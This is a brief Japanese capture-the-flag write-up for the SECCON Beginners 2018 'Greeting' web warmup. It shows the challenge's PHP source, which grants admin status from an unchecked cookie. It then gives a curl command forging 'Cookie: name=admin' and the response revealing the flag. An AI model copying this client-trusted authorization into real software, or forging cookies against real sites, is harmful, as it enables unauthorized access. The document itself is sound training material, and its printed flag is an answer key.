SECCON Beginners CTF 2018 - [Warmup] Greeting
問題文
ようこそ! http://greeting.chall.beginners.seccon.jp
writeup
ソース情報あり。
<?php if(isset($_POST['name'])) { setcookie("name", $_POST['name'], time()+3600); $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8"); // 管理者でログインできる? if($username === "admin") { $username = "偽管理者"; } } elseif(isset($_COOKIE['name'])) { $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8"); } else { $username = "ゲスト"; } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>SECCON Beginners greeting service</title> </head> <body> <h1>こんにちは!<?=$username?>さん!</h1> <hr> <?php if($username === 'admin'): ?> こんにちは管理者さん。 Flagは、 "<?=$_ENV['SECCON_BEGINNERS_FLAG']?>"です。 <?php else: ?> こんにちは<?=$username?>さん。 Flagは、管理者である"admin"さんにのみしか表示されません。 <?php endif; ?> <form method="POST"> <input type="text" placeholder="名前" name="name"> <button type="submit">名前を変更する</button> </form> <pre> <code> <?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?> </code> </pre> </body> </html>
Cookieのnameパラメータにadmin
と入れれば管理者と判断してくれるようだ。
root@kali:[Warmup] Greeting# curl http://greeting.chall.beginners.seccon.jp/ -H "Cookie: name=admin" <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>SECCON Beginners greeting service</title> </head> <body> <h1>こんにちは!adminさん!</h1> <hr> こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。 (snip)
フラグゲット。
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}